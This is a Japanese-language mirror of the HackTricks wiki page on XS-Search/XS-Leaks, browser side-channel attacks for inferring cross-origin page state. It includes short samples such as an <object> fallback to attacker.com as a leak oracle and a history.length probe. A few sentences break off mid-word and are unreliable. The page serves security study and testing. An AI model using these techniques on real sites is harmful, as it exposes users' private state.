Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-15 01:17:36 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/xs-search.md
Translator workflow e90c803209 Translated to Japanese
2023-07-07 23:42:27 +00:00

102 KiB
Raw Blame History

XS-Search/XS-Leaks


Trickestを使用して、世界で最も先進的なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化することができます。
今すぐアクセスを取得：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

基本情報

XS-Searchは、サイドチャネル攻撃を悪用して、クロスオリジン情報を外部流出させるための技術です。

この種の攻撃には、次の要素があります：

  • 脆弱なWeb：情報を外部流出させたいWeb
  • 攻撃者のWeb：攻撃者が作成し、被害者がアクセスするWeb
  • インクルージョンメソッド：脆弱なWebを攻撃者のWebから読み込むために使用されるメソッド（window.open、iframe、fetch、hrefを使用したHTMLタグなど）
  • リーク技術：脆弱なWebにアクセスした後、インクルージョンメソッドから得られた情報との間でWebの潜在的な状態を区別するために使用される技術。
  • 状態：被害者を区別するために脆弱なWebが持つ可能性のある2つの状態
  • 検出可能な違い：攻撃者が脆弱なWebの状態を判断するために試みる必要がある情報

検出可能な違い

脆弱なページの2つの状態を区別するために、次のことに注意することができます：

  • ステータスコード。攻撃者は、クロスオリジンで異なるHTTPレスポンスステータスコード（サーバーエラー、クライアントエラー、認証エラーなど）を区別することができます。
  • APIの使用。この検出可能な違いにより、攻撃者はページ間でのWeb APIの使用を検出することができ、クロスオリジンページが特定のJavaScript Web APIを使用しているかどうかを推測することができます。
  • リダイレクト。Webアプリケーションがユーザーを別のページに移動させたかどうかを検出することができます。これはHTTPリダイレクトに限定されず、JavaScriptやHTMLによってトリガーされるリダイレクトも含まれます。
  • ページの内容。これらの検出可能な違いは、HTTPレスポンスボディ自体またはページに含まれるサブリソースに現れます。たとえば、これは含まれるフレームの数（cf. XS-Leak on Gitlab）や画像のサイズの違いなどです。
  • HTTPヘッダー。攻撃者は、特定のHTTPレスポンスヘッダーの存在を検出し、その値を収集することができます。これには、X-Frame-Options、Content-Disposition、Cross-Origin-Resource-Policyなどのヘッダーが含まれます。
  • タイミング：攻撃者は、2つの状態間に一貫した時間差が存在することを検出することができます。

インクルージョンメソッド

  • HTML要素。HTMLには、クロスオリジンリソースのインクルージョンを可能にするさまざまな要素があります。スタイルシート、画像、スクリプトなどの要素は、被害者のブラウザに指定された非HTMLリソースのリクエストを要求します。この目的のために使用できるHTML要素のリストはオンラインで利用可能です（https://github.com/cure53/HTTPLeaks）。
  • フレーム。iframe、object、embedなどの要素は、攻撃者のページに直接他のHTMLリソースを埋め込むことができます。ページがフレーミング保護を使用していない場合、JavaScriptコードはcontentWindowプロパティを介してフレーム化されたリソースのwindowオブジェクトにアクセスすることができます。
  • ポップアップ。window.openメソッドは、新しいブラウザタブやウィンドウにリソースを読み込みます。このメソッドは、JavaScriptコードがSOPに準拠したメソッドとプロパティにアクセスするために使用できるウィンドウハンドルを返します。これらのポップアップは、シングルサインオンでよく使用されます。最新のブラウザバージョンでは、特定のユーザー操作によってトリガーされた場合にのみポップアップが許可されます。XS-Leak攻撃では、このメソッドが特に役立ちます。なぜなら、これにより、対象リソースに対するフレーミングとクッキーの制限がバイパスされるからです。新しいブラウザバージョンでは、ウィンドウハンドルを分離する手段が最近追加されました。
  • JavaScriptリクエスト。JavaScriptでは、対象リソースに直接リクエストを送信することができます。このためには2つの異なる方法があります：XMLHttpRequestsとその後継であるFetch API。以前のインクルージョンメソッドとは異なり、攻撃者は発行されるリクエストに対して細かい制御を持つことができます。たとえば、HTTPリダイレクトを自動的に追跡するかどうかなどです。

リーク技術

  • イベントハンドラ。イベントハンドラは、XS-Leaksの古典的なリーク技術と見なすことができます。さまざまな情報の源としてよく知られています。たとえば、onloadのトリガーは、onerrorイベントとは対照的に、成功したリソースの読み込みを示します。
  • エラーメッセージ。イベントハンドラの他に、エラーメッセージはJavaScriptの例外や特別なエラーページとして発生することがあります。エラーメッセージは、リーク技術によって直接スローされるなど、さまざまなステップで発生することがあります。リーク技術は、エラーメッセージに直接含まれる追加の情報を使用するか、エラーメッセージの表示とエラーメッセージの不在との区別を行うことができます。
  • グローバル制限。すべてのコンピュータには物理的な制限があり、ブラウザも同様です。たとえば、利用可能なメモリの量はブラウザの実行中のタブを制限します。同様に、ブラウザ全体に対して強制される他のブラウザの制限も同様です。攻撃者が制限が達成されたときを判断できれば、これをリーク技術として使用できます。
  • グローバルステート。ブラウザには、すべてのページが相互作用できるグローバルステートがあります。この相互作用が攻撃者のウェブサイトから検出可能であれば、これをリーク技術として使用できます。たとえば、Historyインターフェースは、タブやフレームで訪れたページを操作することができます。これにより、エントリの数によって、攻撃者はクロスオリジンのページについての結論を導くことができます。
  • パフォーマンスAPI。パフォーマンスAPIは、現在のページのパフォーマンス情報にアクセスするために使用されます。エントリには、ドキュメントとページによってロードされたすべてのリソースの詳細なネットワークタイミングデータが含まれています。これにより、攻撃者は要求されたリソースについての結論を導くことができます。たとえば、一部のリクエストに対してブラウザがパフォーマンスエントリを作成しないというケースを特定しました。
  • 読み取り可能な属性。HTMLには、クロスオリジンで読み取り可能な属性がいくつかあります。この読み取りアクセスはリーク技術として使用できます。たとえば、JavaScriptコードは、window.frame.lengthプロパティを使用して、ウェブページに含まれるフレームの数をクロスオリジンで読み取ることができます。

タイミングベースの技術

以下のいくつかの技術では、ウェブページの可能な状態の違いを検出するためにタイミングを使用します。ウェブブラウザで時間を計測するためのさまざまな方法があります。

クロック：performance.now() APIを使用すると、高解像度のタイミング測定を取得できます。
攻撃者が暗黙のクロックを作成するために悪用できるAPIは多数あります：Broadcast Channel API、Message Channel API、requestAnimationFrame、setTimeout、CSSアニメーションなど。
詳細についてはこちら：https://xsleaks.dev/docs/attacks/timing-attacks/clocks。

XSinator

XSinatorは、その論文で説明されているいくつかの既知のXS-Leaksに対してブラウザを自動的にチェックするツールです：https://xsinator.com/paper.pdf
ツールにはhttps://xsinator.com/からアクセスできます。

{% hint style="warning" %} 除外されたXS-Leaks：XSinatorの他のリークに干渉する可能性があるため、サービスワーカーに依存するXS-Leaksは除外する必要がありました。さらに、特定のWebアプリケーションのミス構成やバグに依存するXS-Leaksも除外することにしました。たとえば、Cross-Origin Resource Sharing（CORS）のミス構成、postMessageの漏洩、またはクロスサイトスクリプティングなどです。さらに、時間ベースのXS-Leaksも除外しました。なぜなら、それらは遅く、ノイズが多く、正確性に欠けることが多いからです。 {% endhint %}


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築して自動化できます。
今すぐアクセスしてください：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

イベントハンドラの技術

Onload/Onerror

{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %} cookie-bomb-+-onerror-xs-leak.md {% endcontent-ref %}

このコード例では、JSからスクリプトオブジェクトをロードしようとしますが、オブジェクト、スタイルシート、画像、オーディオなどの他のタグも使用できます。さらに、タグを直接インジェクトし、タグ内にonloadとonerrorイベントを宣言することも可能です（JSからインジェクトする代わりに）。この攻撃のスクリプトレスバージョンもあります。

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

この場合、example.com/404が見つからない場合にはattacker.com/?errorが読み込まれます。

Onload Timing

{% content-ref url="xs-search/performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}

Onload Timing + Forced Heavy Task

このテクニックは前のものと同様ですが、攻撃者は回答が肯定的または否定的である場合に、関連する時間を強制的にかけるいくつかのアクションも行い、その時間を測定します。

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}

unload/beforeunload Timing

unloadとbeforeunloadイベントを使用して、リソースの取得にかかる時間を測定することができます。これは、beforeunloadがブラウザが新しいナビゲーションリクエストを要求するときにトリガーされ、unloadがそのナビゲーションが実際に発生するときにトリガーされるためです。この動作により、これらの2つのイベント間の時間差を計算し、ブラウザがリソースの取得を完了するまでにかかった時間を測定することができます。

Sandboxed Frame Timing + onload

もしページにFraming Protectionsが実装されていない場合、攻撃者はページとすべてのサブリソースがネットワーク上で読み込まれるまでにかかる時間を計測することができます。デフォルトでは、iframeのonloadハンドラはすべてのリソースが読み込まれ、すべてのJavaScriptの実行が完了した後に呼び出されます。しかし、攻撃者は<iframe>内にsandbox属性を含めることで、スクリプトの実行のノイズを排除することができます。この属性はJavaScriptの実行を含む多くの機能をブロックするため、ほぼ純粋なネットワーク測定結果が得られます。

#ID + error + onload

  • Inclusion Methods: Frames
  • Detectable Difference: Page Content
  • More info:
  • Summary: 正しいコンテンツにアクセスした場合にページがエラーになり、任意のコンテンツにアクセスした場合に正しく読み込まれるようにページを設定できる場合、時間を測定せずにすべての情報を抽出するためのループを作成することができます。
  • Code Example:

秘密のコンテンツを含むページをiframe内に挿入できると仮定しましょう。

被害者に、CSRFを悪用して例えば"flag"を含むファイルを検索させることができます。Iframe内では、_onloadイベント_が常に少なくとも1回実行されることを知っています。その後、URLのハッシュ部分のコンテンツのみを変更して、iframeのURLを変更することができます。

例えば：

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

最初のURLが正常に読み込まれた場合、URLのハッシュ部分を変更してもonloadイベントは再度トリガーされません。しかし、ページが読み込まれる際に何らかのエラーが発生した場合、onloadイベントは再度トリガーされます。

そのため、正しく読み込まれたページとアクセス時にエラーがあるページを区別することができます。

Javascript Execution

  • Inclusion Methods: Frames
  • Detectable Difference: Page Content
  • More info:
  • Summary: もしページが機密情報またはユーザーによって制御可能なコンテンツを返している場合、ユーザーは負の場合に有効なJSコードを設定し、各試行を**<script>タグ内でロードすることができます。したがって、負の場合には攻撃者のコードが実行され、肯定的な場合には何も**実行されません。
  • Code Example:

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}

CORB - Onerror

  • Inclusion Methods: HTML要素
  • Detectable Difference: ステータスコードとヘッダー
  • 詳細情報: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • 概要: 攻撃者は、レスポンスが_CORB保護_されたContent-Type（およびnosniff）を返し、ステータスコードが2xxである場合にCORBが適用されているかどうかを観察できます。これにより、この保護を検出することで、攻撃者はステータスコード（成功またはエラー）とContent-Type（CORBによって保護されているかどうか）の組み合わせを漏洩させることができます。
  • コード例:

攻撃に関する詳細情報については、詳細情報リンクを参照してください。

onblur

iframe内でページを読み込み、#id_valueを使用して、iframeの要素にフォーカスを当てることができます。その後、**onblurシグナルがトリガーされると、ID要素が存在します。portal**タグでも同じ攻撃を実行できます。

postMessage Broadcasts

  • Inclusion Methods: フレーム、ポップアップ
  • Detectable Difference: APIの使用
  • 詳細情報: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • 概要: postMessageから機密情報を収集するか、postMessageの存在をオラクルとして使用してユーザーのページ内の状態を知ることができます。
  • コード例: Any code listening for all postMessages.

アプリケーションでは、postMessageブロードキャストを使用して他のオリジンと情報を共有することがよくあります。これらのメッセージを受信することで、機密情報を見つけることができます（targetOriginパラメータが使用されていない場合は潜在的に）。また、メッセージを受信すること自体がオラクルとして使用されることもあります（ログインしている場合にのみこの種類のメッセージを受信します）。


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化できます。
今すぐアクセスを取得してください：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Global Limits Techniques

WebSocket API

ターゲットページが使用しているWebSocket接続の数を特定することができます。これにより、攻撃者はアプリケーションの状態を検出し、WebSocket接続の数に関連する情報を漏洩させることができます。

あるオリジンがWebSocket接続オブジェクトの最大数を使用している場合、その接続の状態に関係なく、新しいオブジェクトの作成はJavaScriptの例外を引き起こします。この攻撃を実行するために、攻撃者のウェブサイトはポップアップまたはiframeでターゲットウェブサイトを開き、ターゲットウェブが読み込まれた後、可能な限り最大数のWebSocket接続を作成しようとします。スローされた例外の数は、ターゲットウェブサイトウィンドウが使用しているWebSocket接続の数です。

Payment API

このXS-Leakにより、攻撃者はクロスオリジンページが支払いリクエストを開始したときを検出することができます。

同時に1つの支払いリクエストのみがアクティブにできるため、ターゲットウェブサイトがPayment Request APIを使用している場合、このAPIを使用しようとする追加の試みは失敗し、JavaScriptの例外が発生します。攻撃者は、定期的にPayment API UIを表示しようとすることでこれを悪用することができます。1つの試みが例外を引き起こす場合、ターゲットウェブサイトは現在それを使用しています。攻撃者は、UIを作成した直後にUIをすぐに閉じることで、これらの定期的な試みを隠すことができます。

イベントループのタイミング

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

JavaScriptの並行性モデルは、シングルスレッドのイベントループに基づいているため、一度に1つのタスクしか実行できません。

異なるオリジンのコードが実行される

忙しいイベントループ

  • 含まれる方法：
  • 検出可能な違い：タイミング（通常はページのコンテンツ、ステータスコードによる）
  • 詳細情報：https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • 概要：スレッドのイベントループをロックし、イベントループが再度利用可能になるまでの時間を計測することで、ウェブの実行時間を測定します。
  • コード例：

この技術の主な利点の1つは、攻撃元が別の起源の実行に影響を与えることができるため、サイトの分離を回避できることです。

{% hint style="warning" %} 実行タイミングでは、ネットワーク要因を排除して、より正確な測定を行うことができます。たとえば、ページを読み込む前にページで使用されるリソースを読み込むことで、ネットワーク要因を排除することができます。 {% endhint %}

コネクションプール

  • 含まれる方法：JavaScriptリクエスト
  • 検出可能な違い：タイミング（通常はページのコンテンツ、ステータスコードによる）
  • 詳細情報：https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • 概要：攻撃者は、1つを除くすべてのソケットをロックし、ターゲットのウェブをロードすると同時に別のページをロードします。最後のページがロードを開始するまでの時間は、ターゲットページのロードにかかった時間です。
  • コード例：

{% content-ref url="xs-search/connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}

ブラウザはサーバとの通信にソケットを使用します。オペレーティングシステムとその実行環境にはリソースが限られているため、ブラウザは制限を課さなければなりません。この制限の存在を悪用するため、攻撃者は次の手順を実行できます。

  1. ブラウザの制限を確認します。たとえば、256個のグローバルソケットです。
  2. 異なるホストへの255のリクエストを実行して、接続を単純にブロックすることで、255のソケットを長時間ブロックします。
  3. ターゲットページへのリクエストを行うことで、256番目のソケットを使用します。
  4. 別のホストへ257番目のリクエストを行います。手順2と3ですべてのソケットが使用されているため、このリクエストはプールが利用可能なソケットを受け取るまで待機する必要があります。この待機期間により、攻撃者はターゲットページに属する256番目のソケットのネットワークタイミングを取得できます。これは、手順3でソケットが解放されたことによってプールが利用可能なソケットを受け取ったため機能します。256番目のソケットの解放時間は、リクエストの完了にかかる時間と直接関連しています。

詳細については、https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/を参照してください。

宛先別のコネクションプール

  • 含まれる方法：JavaScriptリクエスト
  • 検出可能な違い：タイミング（通常はページのコンテンツ、ステータスコードによる）
  • 詳細情報：
  • 概要：前の技術と同様ですが、Google Chromeは同じ起源への6つの同時リクエストの制限を設けています。5つをブロックし、その後6番目のリクエストを発行することで、時間を計測し、被害者ページが同じエンドポイントに対してさらにリクエストを送信してページのステータスを検出することができます。6番目のリクエストは時間がかかり、それを検出することができます。

Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化することができます。
今すぐアクセスを取得：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

パフォーマンスAPIの技術

Performance APIは、Resource Timing APIのデータによって強化されたパフォーマンスに関連する情報にアクセスできます。Resource Timing APIは、ネットワークリクエストのタイミング（期間など）を提供しますが、サーバから送信されるTiming-Allow-Origin: *ヘッダがある場合、転送サイズとドメインの検索時間も提供されます。
このデータは、performance.getEntriesまたはperformance.getEntriesByNameを使用してアクセスできます。また、performance.now()の差を使用して実行時間を取得するためにも使用できますが、これはChromeのフェッチではミリ秒しか提供されないため、より正確ではないようです。

このAPIは、リクエストの時間を測定するために使用することも、X-Frame-Optionsの使用を検出するために使用することもできます。ブロックされたページはChromeのperformanceオブジェクトに追加されないため、X-Frame-Optionsの使用を検出することができます。

エラーリーク

エラーになるリクエストは、パフォーマンスエントリを作成しませんので、HTTPレスポンスステータスコードの違いを区別することができます。

スタイルリロードエラー

前の技術では、ブラウザのGCのバグにより、リソースの読み込みに失敗した場合にリソースが2回読み込

リクエストのマージエラー

この技術は、上記の論文の表で見つかりましたが、技術の説明は見つかりませんでした。ただし、https://xsinator.com/testing.html#Request%20Merging%20Error%20Leakでソースコードを確認することができます。

空のページの漏洩

攻撃者は、一部のブラウザでは空のページはパフォーマンスエントリを作成しないため、リクエストが空のHTTPレスポンスボディで結果が返されたかどうかを検出することができます。

XSS-Auditorの漏洩

SAでは、XSSAuditorがトリガーされたかどうかを検出し、それによって機密情報が漏洩する可能性があります。 XSS-Auditorは、SAとGC（現在は削除されました）の組み込み機能であり、クロスサイトスクリプティング（XSS）攻撃を緩和するために設計されています。 2013年、BraunとHeiderich [7]は、XSS-Auditorを使用して誤検知で無害なスクリプトをブロックすることができることを示しました。彼らの技術に基づいて、研究者は情報を漏洩させ、クロスオリジンのページで特定のコンテンツを検出します。これらのXS-Leakは、最初にTeradaによるバグレポートで説明され、後にHeyesのブログ記事でも説明されました。ただし、発見された技術はGCのXSS-Auditorにのみ適用され、SAでは機能しません。ブロックされたページはパフォーマンスAPIエントリを作成しないため、攻撃者はまだSAのXSS-Auditorを使用して機密情報を漏洩させることができます。

X-Frameの漏洩

ページがiframeでレンダリングされることが許可されていない場合、パフォーマンスエントリは作成されません。その結果、攻撃者はレスポンスヘッダー**X-Frame-Options**を検出することができます。
同様のことが、embed タグを使用した場合にも起こります。

ダウンロードの検出

XS-Leakと同様に、ContentDispositionヘッダーによってダウンロードされるリソースもパフォーマンスエントリを作成しません。この技術は主要なブラウザで機能します。

リダイレクト開始の漏洩

いくつかのブラウザは、クロスオリジンのリクエストに対して多くの情報をログに記録するため、1つのXS-Leakインスタンスを見つけました。標準では、クロスオリジンのリソースにはゼロに設定する必要がある属性のサブセットが定義されています。ただし、SAでは、ターゲットページによるリダイレクトがユーザーによって検出される可能性があります。これは、Performance APIをクエリし、redirectStartのタイミングデータをチェックすることで行われます。

リダイレクトの期間漏洩

GCでは、リダイレクトが発生するリクエストの期間は負であり、そのためリダイレクトが発生しないリクエストと区別することができます。

CORPリーク

いくつかのケースでは、nextHopProtocolエントリをリーク手法として使用することができます。GCでは、CORPヘッダーが設定されている場合、nextHopProtocolは空になります。SAでは、CORPが有効化されたリソースに対してパフォーマンスエントリを作成しません。

サービスワーカー

サービスワーカーは、オリジンで実行されるイベント駆動型のスクリプトコンテキストです。ウェブページのバックグラウンドで実行され、オフラインのウェブアプリケーションを作成するためにリソースをインターセプト、変更、キャッシュすることができます。
サービスワーカーによってキャッシュされたリソースがiframe経由でアクセスされると、リソースはサービスワーカーキャッシュから読み込まれます。
リソースがサービスワーカーキャッシュから読み込まれたかどうかを検出するには、Performance APIを使用できます。
これはタイミング攻撃でも行うことができます（詳細は論文を参照）。

キャッシュ

Performance APIを使用すると、リソースがキャッシュされているかどうかを確認できます。
詳細についてはこちらを参照してください：https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources

ネットワークの所要時間

エラーメッセージの技術

メディアエラー

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}

MediaError インターフェースの message プロパティには、正常に読み込まれたリソースに対しては異なる文字列が含まれています。これにより、クロスオリジンリソースのレスポンスステータスを推測することができます。

CORS エラー

この技術により、クロスオリジンサイトによって開始されるリダイレクトのターゲットを漏洩させることができます。

CORS は、公開されているウェブリソースをどのウェブサイトからでも読み取り、使用することを可能にします。WebKit ベースのブラウザでは、CORS リクエストが失敗した場合に CORS エラーメッセージにアクセスすることができます。攻撃者は、CORS が有効なリクエストをターゲットのウェブサイトに送信し、ユーザーの状態に基づいて リダイレクト が行われるようにします。ブラウザがリクエストを拒否すると、エラーメッセージには リダイレクト先の完全な URL が漏洩します。この攻撃により、リダイレクトの検出、リダイレクトの場所の漏洩、および機密なクエリパラメータの漏洩が可能となります。

SRI エラー

攻撃者は、詳細なエラーメッセージ により、クロスオリジンのレスポンスのサイズを漏洩させることができます。

整合性属性は、ブラウザが取得したリソースが改ざんされていないことを検証するための暗号ハッシュを定義します。このセキュリティメカニズムは Subresource Integrity (SRI) と呼ばれます。これは、コンテンツ配信ネットワーク (CDN) から提供されるリソースの整合性検証に使用されます。データの漏洩を防ぐためには、クロスオリジンのリソースは CORS が有効 である必要があります。そうでない場合、レスポンスは整合性検証の対象外となります。CORS エラー XS-Leak と同様に、整合性属性を持つフェッチリクエストが失敗した後の エラーメッセージをキャッチすることが可能 です。攻撃者は、不正なハッシュ値 を指定して、任意のリクエストでこのエラーを強制的に トリガー することができます。SA では、このエラーメッセージにより、要求されたリソースのコンテンツ長が漏洩します。攻撃者はこの漏洩を利用して、レスポンスサイズの違いを検出し、強力な XS-Leak 攻撃を実行することができます。

CSP 違反/検出

XS-Leak は、CSP を使用して、クロスオリジンサイトが異なるオリジンにリダイレクトされたかどうかを検出することができます。この漏洩により、リダイレクトが検出されるだけでなく、リダイレクト先のドメインも漏洩します。この攻撃の基本的なアイデアは、攻撃者のサイトでターゲットドメインを許可することです。ターゲットドメインにリクエストが発行されると、それがクロスオリジンドメインにリダイレクトします。CSP はそれへのアクセスをブロックし、漏洩テクニックとして使用される 違反レポート を作成します。ブラウザによっては、このレポートが リダイレクトのターゲット場所を漏洩する 場合があります。
モダンなブラウザでは、リダイレクト先の URL は表示されませんが、クロスオリジンのリダイレクトがトリガーされたことは検出できます。

キャッシュ

ブラウザは、すべてのウェブサイトに対して共有キャッシュを使用する場合があります。その起源に関係なく、ターゲットページが 特定のファイルを要求したかどうか 推測することができます。

ページがログインしている場合にのみ画像を読み込む場合、リソースを 無効化 して（キャッシュされている場合はキャッシュされないようにする）、そのリソースを読み込む可能性のあるリクエストを実行し、リソースを 不正なリクエスト（たとえば、過長なリファラヘッダーを使用）で読み込もうとします。リソースの読み込みが エラーをトリガーしなかった場合、それは キャッシュされている こ

CORP

CORPヘッダーは、与えられたリソースへのノーコースのクロスオリジンリクエストをブロックする比較的新しいWebプラットフォームのセキュリティ機能です。ヘッダーの存在は検出できます。なぜなら、CORPで保護されたリソースはフェッチ時にエラーをスローするからです。

CORB

攻撃に関する詳細情報については、リンクを確認してください。

CORSエラーのオリジンリフレクションの誤構成

オリジンヘッダーがAccess-Control-Allow-Originヘッダーに反映されている場合、攻撃者はこの動作を悪用してCORSモードでリソースをフェッチしようとすることができます。エラーがトリガされない場合、それはウェブから正しく取得されたことを意味します。エラーがトリガされる場合、それはキャッシュからアクセスされたことを意味します（エラーが表示されるのは、キャッシュが元のドメインを許可するCORSヘッダーを含むレスポンスを保存しているためです）。なお、オリジンが反映されていない場合でもワイルドカードが使用されている場合（Access-Control-Allow-Origin: *）、これは機能しません。

Readable Attributes Technique

Fetch Redirect

Fetch APIを使用してredirect: "manual"およびその他のパラメーターでリクエストを送信すると、response.type属性を読み取り、それがopaqueredirectと等しい場合、レスポンスはリダイレクトであったことがわかります。

COOP

クロスオリジンオープナーポリシー（COOP）ヘッダーがクロスオリジンのHTTPレスポンス内に存在するかどうかを攻撃者は漏洩することができます。

Webアプリケーションは、他のウェブサイトがアプリケーションへの任意のウィンドウ参照を取得することを防ぐためにCOOPレスポンスヘッダーを展開することができます。ただし、このヘッダーはcontentWindow参照を読み取ろうとすることで簡単に検出できます。サイトが1つの状態でのみCOOPを展開している場合、このプロパティ（opener）はundefinedです。それ以外の場合はdefinedです。

URL Max Length - Server Side

サーバーサイドのリダイレクトがリダイレクト内でユーザー入力を使用し、追加のデータを使用する場合、通常、サーバーにはリクエストの長さ制限があります。ユーザーデータがその長さ-1である場合、リダイレクトはそのデータを使用して何かを追加するため、エラーがトリガされ、エラーイベントを介して検出できます。

ユーザーに対してクッキーを設定できる場合、クッキーを十分に設定することでこの攻撃を実行することもできます（cookie bomb）。したがって、正しいレスポンスのサイズが増加すると、エラーがトリガされます。この場合、同じサイトからこのリクエストをトリガーすると、<script>が自動的にクッキーを送信するため（エラーを確認できます）。
クッキーボム+XS-Searchの例は、この解決策の意図した解決策で見つけることができます：https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

このタイプの攻撃には通常、SameSite=Noneまたは同じコンテキストにある必要があります。

URLの最大長 - クライアントサイド

Chromiumのドキュメントによると、Chromeの最大URL長は2MBです。

一般的に、_webプラットフォーム_にはURLの長さの制限はありません（ただし、2^31は一般的な制限です）。_Chrome_は、実用上の理由とプロセス間通信におけるサービス拒否攻撃の問題を回避するために、URLを最大2MBに制限しています。

したがって、リダイレクトURLの応答が1つのケースで大きい場合、2MBを超えるURLでリダイレクトを行うことができ、長さ制限に達する可能性があります。これが発生すると、Chromeは**about:blank#blocked**ページを表示します。

注意すべき違いは、リダイレクトが完了した場合、window.originはエラーをスローします。なぜなら、クロスオリジンはその情報にアクセスできないからです。しかし、制限が達成され、読み込まれたページが**about:blank#blockedである場合、ウィンドウのoriginは親のもののままであり、これはアクセス可能な情報**です。

2MBに到達するために必要なすべての追加情報は、初期のURLのハッシュに追加されるため、リダイレクトで使用されます。

{% content-ref url="xs-search/url-max-length-client-side.md" %} url-max-length-client-side.md {% endcontent-ref %}

最大リダイレクト数

ブラウザの最大リダイレクト数が20の場合、攻撃者は自分のページを19回リダイレクトし、最終的に被害者をテスト対象のページに送信することができます。エラーが発生した場合、ページは被害者をリダイレクトしようとしていたことを意味します。

履歴の長さ

History APIは、JavaScriptコードがブラウザの履歴を操作することを可能にし、ユーザーが訪れたページを保存します。攻撃者は、長さプロパティを含める方法として使用できます: JavaScriptとHTMLのナビゲーションを検出するために。
history.lengthをチェックし、ユーザーをページに移動させ、それを同一オリジンに変更し、history.lengthの新しい値をチェックします。

同じURLの履歴の長さ

  • 含まれる方法: フレーム、ポップアップ
  • 検出可能な違い: 推測したURLと同じかどうか
  • 概要: 履歴の長さを悪用して、フレーム/ポップアップの位置が特定のURLにあるかどうかを推測することができます。
  • コード例: 以下

攻撃者はJavaScriptコードを使用して、フレーム/ポップアップの位置を推測したURLに操作し、すぐにそれを**about:blankに変更**することができます。履歴の長さが増加した場合、URLが正しいことを意味し、同じURLの場合はリロードされないため、時間があったために増加します。増加しなかった場合、推測したURLを読み込もうとしたことを意味し、すぐに about:blankを読み込んだため、推測したURLを読み込む際に履歴の長さは増加しなかった。

async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

フレームのカウント

iframeまたはwindow.openを介して開かれたウェブのフレームの数を数えることは、ユーザーのページ上の状態を特定するのに役立ちます。
さらに、ページに常に同じ数のフレームがある場合、フレームの数を継続的にチェックすることで、情報を漏洩させる可能性のあるパターンを特定するのに役立ちます。

この技術の例として、Chromeでは、PDFはフレームのカウントによって検出できます。なぜなら、内部でembedが使用されているからです。この技術が興味深い場合、zoom、view、page、toolbarなどのOpen URL Parametersを使用して、コンテンツを制御することができます。

HTMLElements

一部のウェブページは、ユーザーの情報に応じてメディアファイルを動的に生成したり、メディアサイズを変更するウォーターマークを追加したりする場合があります。攻撃者はこれらのHTML要素から漏洩する情報を使用して、可能な状態の間に区別をつけることができます。

いくつかのHTMLElementsは、メディアの種類など、クロスオリジンに情報を漏洩します。

  • HTMLMediaElementはメディアのdurationとbufferedの時間を漏洩します。
  • HTMLVideoElementはvideoHeightとvideoWidthを漏洩します。一部のブラウザではwebkitVideoDecodedByteCount、webkitAudioDecodedByteCount、webkitDecodedFrameCountも持つ場合があります。
  • getVideoPlaybackQuality()はtotalVideoFramesを漏洩します。
  • HTMLImageElementはheightとwidthを漏洩しますが、画像が無効な場合は0になり、image.decode()は拒否されます。

CSSプロパティ

ウェブアプリケーションは、ユーザーの状態に応じてウェブサイトのスタイルを変更する場合があります。クロスオリジンのCSSファイルは、HTMLリンク要素を使用して攻撃者のページに埋め込むことができ、ルールは攻撃者のページに適用されます。ページがこれらのルールを動的に変更する場合、攻撃者はユーザーの状態に応じてこれらの違いを検出することができます。
